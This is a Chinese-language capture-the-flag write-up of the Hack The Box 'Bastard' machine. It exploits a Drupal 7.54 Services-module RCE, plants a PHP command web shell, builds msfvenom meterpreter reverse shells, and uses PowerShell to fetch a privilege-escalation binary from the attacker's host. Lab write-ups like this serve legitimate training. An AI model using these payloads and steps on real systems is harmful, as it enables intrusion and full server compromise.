Bastard(drupal插件导致远程代码执行)

10.10.10.9

scan

1
2
3
80/tcp    open  http    Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC

web

cms: drupal 7

Drupal 以权限划分用户可见页面,当使用超级管理员帐号登录,进入 admin 页面,这即可算做管理后台,约定所有模块的管理选项均在 admin 路径之下。

whatweb

whatweb http://10.10.10.9/

1
http://10.10.10.9/ [200 OK] Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.9], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], Microsoft-IIS[7.5], PHP[5.3.28,], PasswordField[pass], Script[text/javascript], Title[Welcome to 10.10.10.9 | 10.10.10.9], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.3.28, ASP.NET]

searchsploit\msf模块,查点

1
2
3
4
5
6
7
8
9
10
11
第一:Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                                    | exploits/php/webapps/44557.rb

searchsploit -m exploits/php/webapps/44557.rb

cp /root/Desktop/9/44557.rb /usr/share/metasploit-framework/modules/exploits/unix/webapp/drupal_drupalgeddon3.rb

User register form with exec,该漏洞需要注册用户,并登陆使用cookies。然而user/register模块提示,不能注册用户,网站配置问题。

第二:Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | exploits/php/remote/44482.rb

exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection

目录扫描

dirbuster扫描:能访问的目录都是无关紧要的,敏感目录如admin/includes/都是403。
burp scanner扫描:

1
2
3
robots.txt
http://10.10.10.9/CHANGELOG.txt
Drupal 7.54, 2017-02-01

writeup

https://www.exploit-db.com/exploits/41564

droopescan

droopescan scan drupal -u http://10.10.10.9/

发现了目标存在3个plugins,经过搜索,发现Services模块有漏洞。

1
2
3
4
searchsploit drupal | grep 41564
searchsploit -m exploits/php/webapps/41564.php
mv /root/41564.php rce.php
see rce.php

问题1

php解析exp出错。

普通文本编辑器看不出来错误在哪,用vi看了一下==,居然是注释换行的问题。

缺少一个模块,导致exp运行出错。

1
2
apt-get -y install php-curl
apt-get upgrade php 更新到PHP 7.3.2-3 ,问题解决了

问题2:

1
2
3
apt-get -y install php-curl
E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)
E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?

解决方案:

1
2
3
4
5
6
7
rm /var/lib/dpkg/lock

重新执行安装命令后,提示以下消息
E: Could not get lock /var/cache/apt/archives/lock - open (11: Resource temporarily unavailable)
E: Unable to lock directory /var/cache/apt/archives/

rm /var/cache/apt/archives/lock 即可

修改php exp

https://www.exploit-db.com/exploits/41564,不知道为什么,该exp是不能直接运行的,需要修改很多处位置,这个实验我做了很久,就是卡在php代码上。还是需要一点php的知识。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/php

<?php

# Drupal Services Module Remote Code Execution Exploit

# https://www.ambionics.io/blog/drupal-services-module-rce

# cf

#

# Three stages:
修改第一处,“endpoint”;以及下面另外一处的注释
# 1. Use the SQL Injection to get the contents of the cache for current endpoint

# along with admin credentials and hash

# 2. Alter the cache to allow us to write a file and do so

# 3. Restore the cache

#

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');

define('TYPE_PHP', 'application/vnd.php.serialized');

define('TYPE_JSON', 'application/json');

define('CONTROLLER', 'user');

define('ACTION', 'login');

修改第2处,目标ip
$url = 'http://10.10.10.9/';
修改第3处,路径
$endpoint_path = '/rest';

$endpoint = 'rest_endpoint';

$file = [
修改第4处,写入的文件名和内容。
'filename' => 'whale.php',

'data' => '<?php echo(system($_GET["cmd"])); ?>'
];

获取shell

view-source:http://10.10.10.9/whale.php?cmd=whoami

cmd result
whoami nt authority\iusr
systeminfo Microsoft Windows Server 2008 R2
dir C:\inetpub\drupal-7.54
type C:\Users\dimitris\Desktop\user.txt xxx
powershell $PSVersionTable 无ps

获取metepreter

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.7 LPORT=1234 -f raw > payload1.txt

修改php exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$myfile = fopen("payload1.txt", "r") or die("Unable to open file!");

$payload1 = fread($myfile,filesize("payload1.txt"));

$url = 'http://10.10.10.9/';

$endpoint_path = '/rest';

$endpoint = 'rest_endpoint';



$file = [

'filename' => 'whale1.php',

'data' => $payload1

];

handler -H 10.10.14.7 -P 1234 -p php/meterpreter_reverse_tcp

提权

参考该文章进行提权

提权尝试一:

1
2
3
msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=7788 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload2.exe

handler -H 10.10.14.7 -P 7788 -p windows/x64/meterpreter/reverse_tcp

结果:失败
原因:只能通过web执行php类型的metapreter,没有考虑好web不能执行windows二进制(exe)类型payload

提权尝试二:

当payload是php/meterpreter_reverse_tcp时,后续渗透无法使用suggester模块。

而且该模块不知道为什么,一旦执行命令,就被断开连接。

提权尝试三:

1
2
3
wget http://10.10.10.9/whale.php?cmd=systeminfo -o sys.txt
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2019-03-06-mssb.xls --systeminfo sys.txt

1
2
3
4
5
6
7
8
9
msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=9009 -f exe -o p.exe

handler -H 10.10.14.7 -P 9009 -p windows/meterpreter/reverse_tcp

python -m SimpleHTTPServer 80 用nc反弹的cmd,把p.exe用powershell传到目标机

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://10.10.14.7/MS10-059.exe','C:\inetpub\drupal-7.54\15.exe')

15.exe 10.10.14.7 5555

总结

google “IIS vesions”,进行windows操作系统的识别

github下载droopescan,对drupal进行扫描。

? 如何识别cms的漏洞。
当遇到一个陌生的cms时,可以先在github上搜索cms对应的扫描器,而不是自己手动通过服务版本识别,再找exp,逐个确认是否有已知漏洞。这样效率会很低。

?为什么要使用droopescan
扫描器都是基于插件或者是特征库的,你不能用nessus扫描web漏洞,appscan扫描系统漏洞。选择合适的扫描器。

?如何自动下载python程序所需的依赖
pip install -r requirements.txt